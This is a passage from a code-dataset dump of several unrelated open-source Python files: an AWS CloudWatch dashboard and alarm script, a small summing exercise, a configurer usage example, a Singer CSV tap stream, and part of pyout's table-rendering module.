Parse instances, creating chart widgets\n \"\"\"\n widgets = []\n x_val = 0\n y_val = 0\n width = 6\n height = 4\n chts = svc_info['Charts']\n for inst in svc_inst:\n for cht in chts:\n # build a chart widget\n widg = {}\n cht_name = inst['myname'] + ' ' + cht\n widg['properties'] = format_widget_props(svc_info, cht_name,\n chts[cht], inst, alarms)\n widg['type'] = chts[cht]['ch_type']\n\n # position graph\n widg['x'] = x_val\n widg['y'] = y_val\n widg['height'] = height\n widg['width'] = width\n\n # go small if singleValue chart\n if widg['properties']['view'] == 'singleValue':\n widg['width'] /= 2\n widgets.append(widg)\n\n # wrap to next line, if necessary\n x_val += widg['width']\n if x_val > DASHBOARD_MAX_WIDTH:\n x_val = 0\n y_val += height\n\n return widgets\n\n\ndef generate_dashboard(name, chart_j):\n \"\"\"\n Given chart widgets, create a dashboard\n \"\"\"\n wgtcount = len(chart_j['widgets'])\n dashcount = int(wgtcount / DASHBOARD_MAX_WIDGET + 1)\n for dash in range(0, dashcount):\n dname = name + '_' + str(dash+1)\n widglist = chart_j['widgets'][dash * DASHBOARD_MAX_WIDGET: \\\n min(dash * DASHBOARD_MAX_WIDGET + wgtcount,\n (dash+1) * DASHBOARD_MAX_WIDGET)]\n dwidgets = {'widgets' : widglist}\n CW_C.put_dashboard(DashboardName=dname, DashboardBody=json.dumps(dwidgets))\n wgtcount -= DASHBOARD_MAX_WIDGET\n\n return get_dashboards(name)\n\n\ndef get_dashboards(prefix):\n \"\"\"\n Get Cloudwatch dashboards for a given prefix\n \"\"\"\n dashboards = CW_C.list_dashboards(DashboardNamePrefix=prefix)\n return dashboards['DashboardEntries']\n\ndef delete_dashboards(dashboard_list):\n \"\"\"\n Delete all dashboards passed to the function\n \"\"\"\n dashboardnames = []\n for dashboard in dashboard_list:\n dashboardnames.append(dashboard['DashboardName'])\n if dashboardnames:\n CW_C.delete_dashboards(DashboardNames=dashboardnames)\n\ndef parse_service_response(svc_client, svc_info, response):\n \"\"\"\n Handle paginated response from service\n \"\"\"\n inst = []\n if svc_info['InstanceIterator2']:\n # Two levels of lists\n for tmp in response[svc_info['InstanceIterator1']]:\n for tmp2 in tmp[svc_info['InstanceIterator2']]:\n tmp2['myname'] = create_friendly_name(tmp2, svc_client, svc_info)\n inst.append(tmp2)\n elif svc_info['InstanceIterator1']:\n for tmp in response[svc_info['InstanceIterator1']]:\n tmp['myname'] = create_friendly_name(tmp, svc_client, svc_info)\n inst.append(tmp)\n else:\n for tmp in response:\n tmp['myname'] = create_friendly_name(tmp, svc_client, svc_info)\n inst.append(tmp)\n return inst\n\n\ndef get_service_instances(svc_client, svc_info):\n \"\"\"\n Retrieve instances for the given service,\n Flattening AWS structure if necessary\n \"\"\"\n instances = []\n paginator = svc_client.get_paginator(svc_info['DiscoverInstance'])\n if svc_info['InstanceFilters']:\n for response in paginator.paginate(Filters=svc_info['InstanceFilters']):\n instances.extend(parse_service_response(svc_client, svc_info, response))\n else:\n for response in paginator.paginate():\n instances.extend(parse_service_response(svc_client, svc_info, response))\n\n return instances\n\n\n\ndef main(event, context):\n \"\"\"\n Main functionality\n \"\"\"\n all_widgets = []\n cons = pdt.Constants()\n cons.YearParseStyle = 0\n pdtcal = pdt.Calendar(cons)\n now_tm = pdtcal.parse(\"now\")\n now_str = strftime('%c', now_tm[0])\n\n ##### PROGRAM FLOW #####\n # Load team file\n team_info = load_monitor_file(TEAM_FILEPATH)\n\n # For each service file in MonitorDefs,\n for svc in team_info['MonitorDefs']:\n\n # Load service file\n svc_info = load_monitor_file(DEFS_PATH + svc)\n\n # Ensure API exists for service\n try:\n svc_client = boto3.client(svc_info['Service'])\n except exceptions.UnknownServiceError:\n Logger.critical('Service unknown to AWS API:' + svc_info['Service'])\n\n if svc_info['Service'] in SERVICE_LIST:\n # Get new instances.\n instances = get_service_instances(svc_client, svc_info)\n instfile = svc_info['Service'] + '_' + svc_info['S3Suffix'] + '.json'\n # Get old instances\n old_inst = load_instances(team_info['Bucket'], instfile)\n # Determine what's new and deleted.\n del_inst, new_inst = determine_deltas(list(instances), old_inst)\n # Cleanup any old instance alarms.\n delete_service_alarms(get_service_alarms(svc_info['AlarmPrefix'],\n svc_info['Service'],\n alarm_list=del_inst))\n http_status = save_instances(instances, team_info['Bucket'],\n instfile)\n if http_status != 200:\n Logger.error('Unable to write instances file:' + instfile)\n\n report_text = format_report(len(instances), new_inst, del_inst, svc_info)\n if team_info['SendStatusUpdates'] and report_text:\n send_report(report_text, svc_info, now_str)\n\n # Create instance alarms for new instances.\n alarms = create_service_alarms(new_inst, svc_client, svc_info)\n\n dash_j = build_dashboard_widgets(instances, alarms, svc_info)\n all_widgets.extend(dash_j)\n\n # If service dashboard is requested, create one.\n if svc_info['CreateServiceDashboard']:\n name = svc_info['AlarmPrefix'] + '_' + svc_info['Service']\n name += '_' + svc_info['S3Suffix']\n chart_j = {'widgets' : dash_j}\n delete_dashboards(get_dashboards(name))\n generate_dashboard(name, chart_j)\n else:\n Logger.warning('No permissions for listing instances. Service: ')\n Logger.warning(svc_info['Service'])\n # If team dashboard is requested, create one\n if team_info['CreateTeamDashboard']:\n name = svc_info['AlarmPrefix'] + '_' + team_info['Team']\n chart_j = {'widgets' : all_widgets}\n delete_dashboards(get_dashboards(name))\n generate_dashboard(name, chart_j)\n\n\n#main('foo', 'bar')\n", "source": "zulily/aws_monitor", "license": "Apache-2.0"} {"text": "\"\"\"\nZadeklaruj funkcje kt\u00f3ra jako argumenty przyjmuje dwie zmienne i zwraca ich sum\u0119\n\"\"\"\n\ndef f(a:int, b:int):\n return a+b\nprint(f(12, 12))\n", "source": "Wiktor-Wewe/zadaniaDoKolosaWewe", "license": "MIT"} {"text": "import logging\n\nfrom configurer import ConfigManager, Component, Option\nfrom configurer.readers.environ import EnvironmentReader\nfrom configurer.validators import Required, GreaterThan, LowerThan\n\nlogging.basicConfig(level=logging.DEBUG)\n\n\ncm = ConfigManager(readers=[EnvironmentReader(prefix='t')])\n\n\nclass DefaultConfig(Component):\n\n enabled = Option('enabled',\n parser=bool,\n default=True)\n\n host = Option('host',\n parser=str,\n validator=[\n Required(),\n ])\n\n port = Option('port',\n parser=int,\n validator=[\n Required(),\n GreaterThan(100),\n LowerThan(1000),\n ])\n\n def launch(self):\n if not self.enabled:\n return None\n\n return self.host, self.port\n\n\nd = DefaultConfig(cm, namespace=['hello'])\nprint(d.launch())\n", "source": "jamielennox/configurer", "license": "Apache-2.0"} {"text": "\"\"\"Custom client handling, including CSVStream base class.\"\"\"\n\nimport csv\nimport os\nfrom typing import Iterable, List, Optional\n\nfrom singer_sdk import typing as th\nfrom singer_sdk.streams import Stream\n\n\nclass CSVStream(Stream):\n \"\"\"Stream class for CSV streams.\"\"\"\n\n file_paths: List[str] = []\n\n def __init__(self, *args, **kwargs):\n \"\"\"Init CSVStram.\"\"\"\n # cache file_config so we dont need to go iterating the config list again later\n self.file_config = kwargs.pop(\"file_config\")\n super().__init__(*args, **kwargs)\n\n def get_records(self, context: Optional[dict]) -> Iterable[dict]:\n \"\"\"Return a generator of row-type dictionary objects.\n\n The optional `context` argument is used to identify a specific slice of the\n stream if partitioning is required for the stream. Most implementations do not\n require partitioning and should ignore the `context` argument.\n \"\"\"\n for file_path in self.get_file_paths():\n headers: List[str] = []\n for row in self.get_rows(file_path):\n if not headers:\n headers = row\n continue\n yield dict(zip(headers, row))\n\n def get_file_paths(self) -> list:\n \"\"\"Return a list of file paths to read.\n\n This tap accepts file names and directories so it will detect\n directories and iterate files inside.\n \"\"\"\n # Cache file paths so we dont have to iterate multiple times\n if self.file_paths:\n return self.file_paths\n\n file_path = self.file_config[\"path\"]\n if not os.path.exists(file_path):\n raise Exception(f\"File path does not exist {file_path}\")\n\n file_paths = []\n if os.path.isdir(file_path):\n clean_file_path = os.path.normpath(file_path) + os.sep\n for filename in os.listdir(clean_file_path):\n file_path = clean_file_path + filename\n if self.is_valid_filename(file_path):\n file_paths.append(file_path)\n else:\n if self.is_valid_filename(file_path):\n file_paths.append(file_path)\n\n if not file_paths:\n raise Exception(\n f\"Stream '{self.name}' has no acceptable files. \\\n See warning for more detail.\"\n )\n self.file_paths = file_paths\n return file_paths\n\n def is_valid_filename(self, file_path: str) -> bool:\n \"\"\"Return a boolean of whether the file includes CSV extension.\"\"\"\n is_valid = True\n if file_path[-4:] != \".csv\":\n is_valid = False\n self.logger.warning(f\"Skipping non-csv file '{file_path}'\")\n self.logger.warning(\n \"Please provide a CSV file that ends with '.csv'; e.g. 'users.csv'\"\n )\n return is_valid\n\n def get_rows(self, file_path: str) -> Iterable[list]:\n \"\"\"Return a generator of the rows in a particular CSV file.\"\"\"\n with open(file_path, \"r\") as f:\n reader = csv.reader(f)\n for row in reader:\n yield row\n\n @property\n def schema(self) -> dict:\n \"\"\"Return dictionary of record schema.\n\n Dynamically detect the json schema for the stream.\n This is evaluated prior to any records being retrieved.\n \"\"\"\n properties: List[th.Property] = []\n self.primary_keys = self.file_config.get(\"keys\", [])\n\n for file_path in self.get_file_paths():\n for header in self.get_rows(file_path):\n break\n break\n\n for column in header:\n # Set all types to string\n # TODO: Try to be smarter about inferring types.\n properties.append(th.Property(column, th.StringType()))\n return th.PropertiesList(*properties).to_dict()\n", "source": "MeltanoLabs/tap-csv", "license": "Apache-2.0"} {"text": "\"\"\"Common components for styled output.\n\nThis modules contains things that would be shared across outputters if there\nwere any besides Tabular. The Tabular class, though, still contains a good\namount of general logic that should be extracted if any other outputter is\nactually added.\n\"\"\"\n\nfrom collections import defaultdict\nfrom collections import namedtuple\nfrom collections import OrderedDict\nfrom collections.abc import Mapping\nfrom collections.abc import Sequence\nfrom functools import partial\nimport inspect\nfrom logging import getLogger\n\nfrom pyout import elements\nfrom pyout.field import Field\nfrom pyout.field import Nothing\nfrom pyout.truncate import Truncater\nfrom pyout.summary import Summary\n\nlgr = getLogger(__name__)\nNOTHING = Nothing()\n\n\nclass UnknownColumns(Exception):\n \"\"\"The row has unknown columns.\n\n Parameters\n ----------\n unknown_columns : list\n \"\"\"\n\n def __init__(self, unknown_columns):\n self.unknown_columns = unknown_columns\n super(UnknownColumns, self).__init__(\n \"Unknown columns: {}\".format(unknown_columns))\n\n\nclass RowNormalizer(object):\n \"\"\"Transform various input data forms to a common form.\n\n An un-normalized row can be one of three kinds:\n\n * a mapping from column names to keys\n\n * a sequence of values in the same order as `columns`\n\n * any other value will be taken as an object where the column values can\n be accessed via an attribute with the same name\n\n To normalize a row, it is\n\n * converted to a dict that maps from column names to values\n\n * all callables are stripped out and replaced with their initial values\n\n * if the value for a column is missing, it is replaced with a Nothing\n instance whose value is specified by the column's style (an empty\n string by default)\n\n Parameters\n ----------\n columns : sequence of str\n Column names.\n style : dict, optional\n Column styles.\n\n Attributes\n ----------\n method : callable\n A function that takes a row and returns a normalized one. This is\n chosen at time of the first call. All subsequent calls should use the\n same kind of row.\n nothings : dict\n Maps column name to the placeholder value to use if that column is\n missing.\n \"\"\"\n\n def __init__(self, columns, style):\n self._columns = columns\n self.method = None\n\n self.delayed = defaultdict(list)\n self.delayed_columns = set()\n self.nothings = {} # column => missing value\n self._known_columns = set()\n\n for column in columns:\n cstyle = style[column]\n\n if \"delayed\" in cstyle:\n lgr.debug(\"Registered delay for column %r\", column)\n value = cstyle[\"delayed\"]\n group = column if value is True else value\n self.delayed[group].append(column)\n self.delayed_columns.add(column)\n\n if \"missing\" in cstyle:\n self.nothings[column] = Nothing(cstyle[\"missing\"])\n else:\n self.nothings[column] = NOTHING\n\n def __call__(self, row):\n \"\"\"Normalize `row`\n\n Parameters\n ----------\n row : mapping, sequence, or other\n Data to normalize.\n\n Returns\n -------\n A tuple (callables, row), where `callables` is a list (as returned by\n `strip_callables`) and `row` is the normalized row.\n \"\"\"\n if self.method is None:\n self.method = self._choose_normalizer(row)\n return self.method(row)\n\n def _choose_normalizer(self, row):\n if isinstance(row, Mapping):\n getter = self.getter_dict\n elif isinstance(row, Sequence):\n getter = self.getter_seq\n else:\n getter = self.getter_attrs\n lgr.debug(\"Selecting %s as normalizer\", getter.__name__)\n return partial(self._normalize, getter)\n\n def _normalize(self, getter, row):\n columns = self._columns\n if isinstance(row, Mapping):\n callables0 = self.strip_callables(row)\n # The row may have new columns. All we're doing here is keeping\n # them around in the normalized row so that downstream code can\n # react to them.\n known = self._known_columns\n new_cols = [c for c in row.keys() if c not in known]\n if new_cols:\n if isinstance(self._columns, OrderedDict):\n columns = list(self._columns)\n columns = columns + new_cols\n else:\n callables0 = []\n\n norm_row = self._maybe_delay(getter, row, columns)\n # We need a second pass with strip_callables because norm_row will\n # contain new callables for any delayed values.\n callables1 = self.strip_callables(norm_row)\n return callables0 + callables1, norm_row\n\n def _maybe_delay(self, getter, row, columns):\n row_norm = {}\n for column in columns:\n if column not in self.delayed_columns:\n row_norm[column] = getter(row, column)\n\n def delay(cols):\n return lambda: {c: getter(row, c) for c in cols}\n\n for cols in self.delayed.values():\n key = cols[0] if len(cols) == 1 else tuple(cols)\n lgr.debug(\"Delaying %r for row %r\", cols, row)\n row_norm[key] = delay(cols)\n return row_norm\n\n def strip_callables(self, row):\n \"\"\"Extract callable values from `row`.\n\n Replace the callable values with the initial value (if specified) or\n an empty string.\n\n Parameters\n ----------\n row : mapping\n A data row. The keys are either a single column name or a tuple of\n column names. The values take one of three forms: 1) a\n non-callable value, 2) a tuple (initial_value, callable), 3) or a\n single callable (in which case the initial value is set to an empty\n string).\n\n Returns\n -------\n list of (column, callable)\n \"\"\"\n callables = []\n to_delete = []\n to_add = []\n for columns, value in row.items():\n if isinstance(value, tuple):\n initial, fn = value\n else:\n initial = NOTHING\n # Value could be a normal (non-callable) value or a\n # callable with no initial value.\n fn = value\n\n if callable(fn) or inspect.isgenerator(fn):\n lgr.debug(\"Using %r as the initial value \"\n \"for columns %r in row %r\",\n initial, columns, row)\n if not isinstance(columns, tuple):\n columns = columns,\n else:\n to_delete.append(columns)\n for column in columns:\n to_add.append((column, initial))\n callables.append((columns, fn))\n\n for column, value in to_add:\n row[column] = value\n for multi_columns in to_delete:\n del row[multi_columns]\n\n return callables\n\n # Input-specific getters. These exist as their own methods so that they\n # can be wrapped in a callable and delayed.\n\n def getter_dict(self, row, column):\n # Note: We .get() from `nothings` because `row` is permitted to have an\n # unknown column.\n return row.get(column, self.nothings.get(column, NOTHING))\n\n def getter_seq(self, row, column):\n col_to_idx = {c: idx for idx, c in enumerate(self._columns)}\n return row[col_to_idx[column]]\n\n def getter_attrs(self, row, column):\n return getattr(row, column, self.nothings[column])\n\n\nclass StyleFields(object):\n \"\"\"Generate Fields based on the specified style and processors.\n\n Parameters\n ----------\n style : dict\n A style that follows the schema defined in pyout.elements.\n procgen : StyleProcessors instance\n This instance is used to generate the fields from `style`.\n \"\"\"\n\n def __init__(self, style, procgen):\n self.init_style = style\n self.procgen = procgen\n\n self.style = None\n self.columns = None\n self.autowidth_columns = {}\n self._known_columns = set()\n\n self.width_fixed = None\n self.width_separtor = None\n self.fields = None\n self._truncaters = {}\n\n self.hidden = {} # column => {True, \"if-empty\", False}\n self._visible_columns = None # cached list of visible columns\n\n self._table_width = None\n\n def build(self, columns, table_width=None):\n \"\"\"Build the style and fields.\n\n Parameters\n ----------\n columns : list of str\n Column names.\n table_width : int, optional\n Table width to use instead of the previously specified width.\n \"\"\"\n self.columns = columns\n self._known_columns = set(columns)\n default = dict(elements.default(\"default_\"),\n **self.init_style.get(\"default_\", {}))\n self.style = elements.adopt({c: default for c in columns},\n self.init_style)\n\n # Store special keys in _style so that they can be validated.\n self.style[\"default_\"] = default\n self.style[\"header_\"] = self._compose(\"header_\", {\"align\", \"width\"})\n self.style[\"aggregate_\"] = self._compose(\"aggregate_\",\n {\"align\", \"width\"})\n self.style[\"separator_\"] = self.init_style.get(\n \"separator_\", elements.default(\"separator_\"))\n lgr.debug(\"Validating style %r\", self.style)\n if table_width is not None:\n self._table_width = table_width\n elif self._table_width is None:\n self._table_width = self.init_style.get(\n \"width_\", elements.default(\"width_\"))\n self.style[\"width_\"] = self._table_width\n elements.validate(self.style)\n\n self._setup_fields()\n\n self.hidden = {c: self.style[c][\"hide\"] for c in columns}\n self._reset_width_info()\n\n def _compose(self, name, attributes):\n \"\"\"Construct a style taking `attributes` from the column styles.\n\n Parameters\n ----------\n name : str\n Name of main style (e.g., \"header_\").\n attributes : set of str\n Adopt these elements from the column styles.\n\n Returns\n -------\n The composite style for `name`.\n \"\"\"\n name_style = self.init_style.get(name, elements.default(name))\n if self.init_style is not None and name_style is not None:\n result = {}\n for col in self.columns:\n cstyle = {k: v for k, v in self.style[col].items()\n if k in attributes}\n result[col] = dict(cstyle, **name_style)\n return result\n\n def _setup_fields(self):\n fields = {}\n style = self.style\n width_table = style[\"width_\"]\n\n def frac_to_int(x):\n if x and 0 < x < 1:\n result = int(x * width_table)\n lgr.debug(\"Converted fraction %f to %d\", x, result)\n else:\n result = x\n return result\n\n for column in self.columns:\n lgr.debug(\"Setting up field for column %r\", column)\n cstyle = style[column]\n style_width = cstyle[\"width\"]\n\n # Convert atomic values into the equivalent complex form.\n if style_width == \"auto\":\n style_width = {}\n elif not isinstance(style_width, Mapping):\n style_width = {\"width\": style_width}\n\n is_auto = \"width\" not in style_width\n if is_auto:\n lgr.debug(\"Automatically adjusting width for %s\", column)\n width = frac_to_int(style_width.get(\"min\", 0))\n wmax = frac_to_int(style_width.get(\"max\"))\n autoval = {\"max\": wmax, \"min\": width,\n \"weight\": style_width.get(\"weight\", 1)}\n self.autowidth_columns[column] = autoval\n lgr.debug(\"Stored auto-width value for column %r: %s\",\n column, autoval)\n else:\n if \"min\" in style_width or \"max\" in style_width:\n raise ValueError(\n \"'min' and 'max' are incompatible with 'width'\")\n width = frac_to_int(style_width[\"width\"])\n lgr.debug(\"Setting width of column %r to %d\",\n column, width)\n\n # We are creating a distinction between \"width\" processors, that we\n # always want to be active and \"default\" processors that we want to\n # be active unless there's an overriding style (i.e., a header is\n # being written or the `style` argument to __call__ is specified).\n field = Field(width=width, align=cstyle[\"align\"],\n default_keys=[\"width\", \"default\"],\n other_keys=[\"override\"])\n field.add(\"pre\", \"default\",\n *(self.procgen.pre_from_style(cstyle)))\n truncater = Truncater(\n width,\n style_width.get(\"marker\", True),\n style_width.get(\"truncate\", \"right\"))\n field.add(\"post\", \"width\", truncater.truncate)\n field.add(\"post\", \"default\",\n *(self.procgen.post_from_style(cstyle)))\n fields[column] = field\n self._truncaters[column] = truncater\n self.fields = fields\n\n @property\n def has_header(self):\n \"\"\"Whether the style specifies a header.\n \"\"\"\n return self.style[\"header_\"] is not None\n\n @property\n def visible_columns(self):\n \"\"\"List of columns that are not marked as hidden.\n\n This value is cached and becomes invalid if column visibility has\n changed since the last `render` call.\n \"\"\"\n if self._visible_columns is None:\n hidden = self.hidden\n self._visible_columns = [c for c in self.columns if not hidden[c]]\n return self._visible_columns\n\n def _check_widths(self):\n visible = self.visible_columns\n autowidth_columns = self.autowidth_columns\n width_table = self.style[\"width_\"]\n if width_table is None:\n # The table is unbounded (non-interactive).\n return\n\n if len(visible) > width_table:\n raise elements.StyleError(\n \"Number of visible columns exceeds available table width\")\n\n width_fixed = self.width_fixed\n width_auto = width_table - width_fixed\n\n if width_auto < len(set(autowidth_columns).intersection(visible)):\n raise elements.StyleError(\n \"The number of visible auto-width columns ({}) \"\n \"exceeds the available width ({})\"\n .format(len(autowidth_columns), width_auto))\n\n def _set_fixed_widths(self):\n \"\"\"Set fixed-width attributes.\n\n Previously calculated values are invalid if the number of visible\n columns changes. Call _reset_width_info() in that case.\n \"\"\"\n visible = self.visible_columns\n ngaps = len(visible) - 1\n width_separtor = len(self.style[\"separator_\"]) * ngaps\n lgr.debug(\"Calculated separator width as %d\", width_separtor)\n\n autowidth_columns = self.autowidth_columns\n fields = self.fields\n width_fixed = sum([sum(fields[c].width for c in visible\n if c not in autowidth_columns),\n width_separtor])\n lgr.debug(\"Calculated fixed width as %d\", width_fixed)\n\n self.width_separtor = width_separtor\n self.width_fixed = width_fixed\n\n def _reset_width_info(self):\n \"\"\"Reset visibility-dependent information.\n \"\"\"\n self._visible_columns = None\n self._set_fixed_widths()\n self._check_widths()\n\n def _set_widths(self, row, proc_group):\n \"\"\"Update auto-width Fields based on `row`.\n\n Parameters\n ----------\n row : dict\n proc_group : {'default', 'override'}\n Whether to consider 'default' or 'override' key for pre- and\n post-format processors.\n\n Returns\n -------\n True if any widths required adjustment.\n \"\"\"\n autowidth_columns = self.autowidth_columns\n fields = self.fields\n\n width_table = self.style[\"width_\"]\n width_fixed = self.width_fixed\n if width_table is None:\n width_auto = float(\"inf\")\n else:\n width_auto = width_table - width_fixed\n\n if not autowidth_columns:\n return False\n\n # Check what width each row wants.\n lgr.debug(\"Checking width for row %r\", row)\n hidden = self.hidden\n for column in autowidth_columns:\n if hidden[column]:\n lgr.debug(\"%r is hidden; setting width to 0\",\n column)\n autowidth_columns[column][\"wants\"] = 0\n continue\n\n field = fields[column]\n lgr.debug(\"Checking width of column %r (current field width: %d)\",\n column, field.width)\n # If we've added any style transform functions as pre-format\n # processors, we want to measure the width of their result rather\n # than the raw value.\n if field.pre[proc_group]:\n value = field(row[column], keys=[proc_group],\n exclude_post=True)\n else:\n value = row[column]\n value = str(value)\n value_width = len(value)\n wmax = autowidth_columns[column][\"max\"]\n wmin = autowidth_columns[column][\"min\"]\n max_seen = max(value_width, field.width)\n requested_floor = max(max_seen, wmin)\n wants = min(requested_floor, wmax or requested_floor)\n lgr.debug(\"value=%r, value width=%d, old field length=%d, \"\n \"min width=%s, max width=%s => wants=%d\",\n value, value_width, field.width, wmin, wmax, wants)\n autowidth_columns[column][\"wants\"] = wants\n\n # Considering those wants and the available width, assign widths to\n # each column.\n assigned = self._assign_widths(autowidth_columns, width_auto)\n\n # Set the assigned widths.\n adjusted = False\n for column, width_assigned in assigned.items():\n field = fields[column]\n width_current = field.width\n if width_assigned != width_current:\n adjusted = True\n field.width = width_assigned\n lgr.debug(\"Adjusting width of %r column from %d to %d \",\n column, width_current, field.width)\n self._truncaters[column].length = field.width\n return adjusted\n\n @staticmethod\n def _assign_widths(columns, available):\n \"\"\"Assign widths to auto-width columns.\n\n Parameters\n ----------\n columns : dict\n A dictionary where each key is an auto-width column. The value\n should be a dictionary with the following information:\n - wants: how much width the column wants\n - min: the minimum that the width should set to, provided there\n is enough room\n - weight: if present, a \"weight\" key indicates the number of\n available characters the column should claim at a time. This is\n only in effect after each column has claimed one, and the\n specific column has claimed its minimum.\n available : int or float('inf')\n Width available to be assigned.\n\n Returns\n -------\n Dictionary mapping each auto-width column to the assigned width.\n \"\"\"\n # NOTE: The method below is not very clever and does unnecessary\n # iteration. It may end up being too slow, but at least it should\n # serve to establish the baseline (along with tests) that show the\n # desired behavior.\n\n assigned = {}\n\n # Make sure every column gets at least one.\n for column in columns:\n col_wants = columns[column][\"wants\"]\n if col_wants > 0:\n available -= 1\n assigned[column] = 1\n assert available >= 0, \"bug: upstream checks should make impossible\"\n\n weights = {c: columns[c].get(\"weight\", 1) for c in columns}\n # ATTN: The sorting here needs to be stable across calls with the same\n # row so that the same assignments come out.\n colnames = sorted(assigned.keys(), reverse=True,\n key=lambda c: (columns[c][\"min\"], weights[c], c))\n columns_in_need = set(assigned.keys())\n while available > 0 and columns_in_need:\n for column in colnames:\n if column not in columns_in_need:\n continue\n\n col_wants = columns[column][\"wants\"] - assigned[column]\n if col_wants < 1:\n columns_in_need.remove(column)\n continue\n\n wmin = columns[column][\"min\"]\n has = assigned[column]\n claim = min(weights[column] if has >= wmin else wmin - has,\n col_wants,\n available)\n available -= claim\n assigned[column] += claim\n lgr.log(9, \"Claiming %d characters (of %d available) for %s\",\n claim, available, column)\n if available == 0:\n break\n lgr.debug(\"Available width after assigned: %s\", available)\n lgr.debug(\"Assigned widths: %r\", assigned)\n return assigned\n\n def _proc_group(self, style, adopt=True):\n \"\"\"Return whether group is \"default\" or \"override\".\n\n In the case of \"override\", the self.fields pre-format and post-format\n processors will be set under the \"override\" key.\n\n Parameters\n ----------\n style : dict\n A style that follows the schema defined in pyout.elements.\n adopt : bool, optional\n Merge `self.style` and `style`, giving priority to the latter's\n keys when there are conflicts. If False, treat `style` as a\n standalone style.\n \"\"\"\n fields = self.fields\n if style is not None:\n if adopt:\n style = elements.adopt(self.style, style)\n elements.validate(style)\n\n for column in self.columns:\n fields[column].add(\n \"pre\", \"override\",\n *(self.procgen.pre_from_style(style[column])))\n fields[column].add(\n \"post\", \"override\",\n *(self.procgen.post_from_style(style[column])))\n return \"override\"\n else:\n return \"default\"\n\n def _check_for_unknown_columns(self, row):\n known = self._known_columns\n # The sorted() call here isn't necessary, but it makes testing the\n # expected output easier without relying on the order-preserving\n # implementation detail of the new dict implementation introduced in\n # Python 3.6.\n cols_new = sorted(c for c in row if c not in known)\n if cols_new:\n raise UnknownColumns(cols_new)\n\n def render(self, row, style=None, adopt=True, can_unhide=True):\n \"\"\"Render fields with values from `row`.\n\n Parameters\n ----------\n row : dict\n A normalized row.\n style : dict, optional\n A style that follows the schema defined in pyout.elements. If\n None, `self.style` is used.\n adopt : bool, optional\n Merge `self.style` and `style`, using the latter's keys\n when there are conflicts. If False, treat `style` as a\n standalone style.\n can_unhide : bool, optional\n Whether a non-missing value within `row` is able to unhide a column\n that is marked with \"if_missing\".\n\n Returns\n -------\n A tuple with the rendered value (str) and a flag that indicates whether\n the field widths required adjustment (bool).\n \"\"\"\n self._check_for_unknown_columns(row)\n\n hidden = self.hidden\n any_unhidden = False\n if can_unhide:\n for c in row:\n val = row[c]\n if hidden[c] == \"if_missing\" and not isinstance(val, Nothing):\n lgr.debug(\"Unhiding column %r after encountering %r\",\n c, val)\n hidden[c] = False\n any_unhidden = True\n if any_unhidden:\n self._reset_width_info()\n\n group = self._proc_group(style, adopt=adopt)\n if group == \"override\":\n # Override the \"default\" processor key.\n proc_keys = [\"width\", \"override\"]\n else:\n # Use the set of processors defined by _setup_fields.\n proc_keys = None\n\n adjusted = self._set_widths(row, group)\n cols = self.visible_columns\n proc_fields = ((self.fields[c], row[c]) for c in cols)\n # Exclude fields that weren't able to claim any width to avoid\n # surrounding empty values with separators.\n proc_fields = filter(lambda x: x[0].width > 0, proc_fields)\n proc_fields = (fld(val, keys=proc_keys) for fld, val in proc_fields)\n return self.style[\"separator_\"].join(proc_fields) + \"\\n\", adjusted\n\n\nclass RedoContent(Exception):\n \"\"\"The rendered content is stale and should be re-rendered.\n \"\"\"\n pass\n\n\nclass ContentError(Exception):\n \"\"\"An error occurred when generating the content representation.\n \"\"\"\n pass\n\n\nContentRow = namedtuple(\"ContentRow\", [\"row\", \"kwds\"])\n\n\nclass Content(object):\n \"\"\"Concatenation of rendered fields.\n\n Parameters\n ----------\n fields : StyleField instance\n \"\"\"\n\n def __init__(self, fields):\n self.fields = fields\n self.summary = None\n\n self.columns = None\n self.ids = None\n\n self._header = None\n self._rows = []\n self._idkey_to_idx = {}\n self._idx_to_idkey = {}\n\n def init_columns(self, columns, ids, table_width=None):\n \"\"\"Set up the fields for `columns`.\n\n Parameters\n ----------\n columns : sequence or OrderedDict\n Names of the column. In the case of an OrderedDict, a map between\n short and long names.\n ids : sequence\n A collection of column names that uniquely identify a column.\n table_width : int, optional\n Update the table width to this value.\n \"\"\"\n self.fields.build(columns, table_width=table_width)\n self.columns = columns\n self.ids = ids\n\n if self._rows:\n # There are pre-existing rows, so this init_columns() call was due\n # to encountering unknown columns. Fill in the previous rows.\n style = self.fields.style\n for row in self._rows:\n for col in columns:\n if col not in row.row:\n cstyle = style[col]\n if \"missing\" in cstyle:\n missing = Nothing(cstyle[\"missing\"])\n else:\n missing = NOTHING\n row.row[col] = missing\n if self.fields.has_header:\n self._add_header()\n\n def __len__(self):\n return len(list(self.rows))\n\n def __bool__(self):\n return bool(self._rows)\n\n def __getitem__(self, key):\n idx = self._idkey_to_idx[key]\n return self._rows[idx].row\n\n @property\n def rows(self):\n \"\"\"Data and summary rows.\n \"\"\"\n if self._header:\n yield self._header\n for i in self._rows:\n yield i\n\n def _render(self, rows):\n adjusted = []\n for row, kwds in rows:\n line, adj = self.fields.render(row, **kwds)\n yield line\n # Continue processing so that we get all the adjustments out of\n # the way.\n adjusted.append(adj)\n if any(adjusted):\n raise RedoContent\n\n def __str__(self):\n for redo in range(3):\n try:\n return \"\".join(self._render(self.rows))\n except RedoContent:\n # FIXME: Only one additional _render() call is supposed to\n # be necessary, but as f34696a7 (Detect changes in the\n # terminal width, 2020-08-17), it's not sufficient in some\n # cases (see gh-114). Until that is figured out, allow one\n # more (i.e., three in total), which appears to get rid of\n # the issue.\n if redo:\n if redo == 1:\n lgr.debug(\"One redo was not enough. Trying again\")\n else:\n raise\n\n def get_idkey(self, idx):\n \"\"\"Return ID keys for a row.\n\n Parameters\n ----------\n idx : int\n Index of row (determined by order it came in to `update`).\n\n Returns\n -------\n ID key (tuple) matching row. If there is a header, None is return as\n its ID key.\n\n Raises\n ------\n IndexError if `idx` does not match known row.\n \"\"\"\n if self._header:\n idx -= 1\n if idx == -1:\n return None\n try:\n return self._idx_to_idkey[idx]\n except KeyError:\n msg = (\"Index {!r} outside of current range: [0, {})\"\n .format(idx, len(self._idkey_to_idx)))\n raise IndexError(msg) from None\n\n def update(self, row, style):\n \"\"\"Modify the content.\n\n Parameters\n ----------\n row : dict\n A normalized row. If the names specified by `self.ids` have\n already been seen in a previous call, the entry for the previous\n row is updated. Otherwise, a new entry is appended.\n\n style :\n Passed to `StyleFields.render`.\n\n Returns\n -------\n A tuple of (content, status), where status is 'append', an integer, or\n 'repaint'.\n\n * append: the only change in the content is the addition of a line,\n and the returned content will consist of just this line.\n\n * an integer, N: the Nth line of the output needs to be update, and\n 